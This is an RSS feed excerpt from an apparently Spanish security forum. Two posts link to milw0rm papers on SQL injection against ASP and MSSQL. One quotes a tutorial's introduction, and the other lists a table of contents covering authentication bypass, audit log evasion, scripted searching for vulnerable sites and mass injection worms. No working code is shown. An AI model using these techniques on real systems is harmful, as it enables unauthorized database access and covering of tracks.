<title>Tutorial SQL Injection En ASP (6 replies)</title><link>https://foro.undersecurity.net/read.php?44,893,893#msg-893</link><description><![CDATA[<b>Tutorial SQL Injection En ASP</b><br /><br /><br />En lo personal, lo Encuentro Bastante bueno, aunque esta en ingles, te da un excelente pie para las inyecciones sql en asp.<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>If you are going to read this paper, chances are that you have already read the common SQL injection tutorial which has you licking your lips and ready to learn the new skill and then abruptly ends before you learn how to apply your new found knowledge. Also, you have probably had to spend at least a fortnight trying to decipher what the author was saying because they don't: (a) speak fluent English (please excuse my cultural non-diversity as I only know one language well enough in which to read or write tutorials), (b) know how to spell correctly (without the use of spell check of course) or (c) understand how to explain something without ending up with an amount of literature that could easily fill the average dictionary. Fortunately, this tutorial is uncommon. I promise to speak English good, type werds correctly, and make sure to keep it simple as to avoid the need for an index, glossary, or appendix. This paper will include all that you need to know, from start to finish. It will not be necessary to read twenty other ridiculously specific tutorials and combine their information in order to understand what will be said here. By this point in my rant I have probably lost your interest to the juicy information that awaits you, so get started!</div></blockquote><br /><br /><br /><a href="http://milw0rm.com/papers/174" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">Descargar</span></b></a><br /><br /><br />Saludos ¡]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Mon, 01 Jun 2009 19:49:06 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,765,765#msg-765</guid>
<title>Full MSSQL Injection PWNage (6 replies)</title><link>https://foro.undersecurity.net/read.php?44,765,765#msg-765</link><description><![CDATA[##########<br />Contents<br />##########<br /><br />[0x00] - Introduction<br /><br />[0x01] - Know the Basic of SQL injection<br /><br />[0x01a] - Introduction to SQL Injection Attack<br />[0x01b] - How to Test sites that are Vulnerable in SQL Injection<br />[0x01c] - Bypass Authentication with SQL Injection<br />[0x01d] - Audit Log Evasion<br />[0x01e] - (Perl Script) SQL-Google searching vulnerable sites<br /><br />[0x02] - MSSQL Normal SQL Injection Attack<br /><br />[0x02a] - ODBC Error Message Attack with &quot;HAVING&quot; and &quot;GROUP BY&quot;<br />[0x02b] - ODBC Error Message Attack with &quot;CONVERT&quot;<br />[0x02c] - MSSQL Injection with UNION Attack<br />[0x02d] - MSSQL Injection in Web Services (SOAP Injection)<br /><br />[0x03] - MSSQL Blind SQL Injection Attack<br /><br />[0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection<br />[0x03b] - Determine data through Blind SQL Injection<br />[0x03c] - Exploit Query for get Table name<br />[0x03d] - Exploit Query for get Column name<br /><br />[0x04] - More Dangerous SQL Injection Attack<br /><br />[0x04a] - Dangerous from Extended Stored Procedures<br />[0x04b] - Advanced SQL Injection Techniques<br />[0x04c] - Mass MSSQL Injection Worms<br /><br />[0x05] - MSSQL Injection Cheat Sheet<br /><br />[0x06] - SQL Injection Countermeasures<br /><br />[0x07] - References<br /><br />[0x08] - Greetz To<br /><br /><br /><a href="http://milw0rm.com/papers/279" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">Descargar</span></b></a><br />Fuente : Milw0rm.com]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Thu, 17 Jun 2010 18:52:11 -0400</pubDate></item>
</channel>
</rss>